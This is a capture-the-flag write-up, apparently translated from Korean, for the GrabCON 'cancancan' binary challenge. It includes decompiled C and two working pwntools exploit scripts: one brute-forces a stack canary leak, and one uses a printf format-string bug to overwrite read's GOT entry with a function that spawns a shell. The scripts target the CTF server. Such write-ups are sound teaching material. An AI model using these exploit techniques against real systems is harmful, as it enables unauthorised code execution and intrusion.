2021-09-09 · 2

GrabCON CTF — Can You write-up

securityctf

This post is over 2 years old. The content may be outdated.

GrabCON CTF


The next problem~! The problem file name was cancancan.

CODE

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  puts("can you bypass me???");
  vuln();
  return 0;
}
unsigned int vuln()
{
  int i; // [esp+4h] [ebp-74h]
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, buf, 0x200u);
    printf(buf);
  }
  return __readgsdword(0x14u) ^ v3;
}
int win()
{
  return system("/bin/sh");
}

It seems like if you somehow execute the win function it'll work. Actually I struggled a bit on this problem — looking at the vuln function it takes input repeated exactly 2 times, and in the picture above a stack canary is set up just right, so I was sure it was a canary-leak problem and did some pointless things ㅠㅠ. Some people actually wrote code like below and tried. The code below solves the canary leak by brute force.

See more

from pwn import *

context.log_level = 'error'

ERROR = "*** stack smashing detected ***"

i = 1
while True:
    s = remote("35.246.42.94", 31337)
    offset = f"%{i}$x"
    
    s.recvline()
    
    # STAGE 1
    payload1 = offset.encode()
    s.sendline(payload1)
    
    canary = s.recv()[2:-1]
    canary = canary + b'0'*(8-len(canary))
    canary = p32(int(canary, 16))
    
    # STAGE 2
    payload2 = b'A'*100
    payload2 += canary
    payload2 += b'B'*12
    payload2 += p32(0x08049408) # RET
    payload2 += p32(0x08049236) # WIN

    s.sendline(payload2)
    
    try:
        result = s.recvline().decode()
        print(f"offset {i} failed")
        s.close()
        i += 1
    except:
        s.interactive()
        s.close()
        break

But in the end, looking closely, the FSB is triggering at printf(buf);. So the problem gets solved very quickly.

offset = 6

By entering as above I found out the offset is 6. Now then, I'll change read's GOT to the win function.

The code is as below.

Source code

See more

from pwn import *
#context.log_level = 'debug'

p = remote('35.246.42.94',31337)
elf = ELF('./cancancan')

payload = fmtstr_payload(6, {elf.got['read']:elf.symbols['win']})

pause()
p.sendline(payload)
p.interactive()

From now on I won't obsess over canaries...ㅠ


Original (Korean): tistory — published 2021-09-09, migrated to this blog. This translation was generated with the help of AI.

Comments

Delete this comment?

Related posts

GrabCON CTF — Can You write-up · 나봄하랑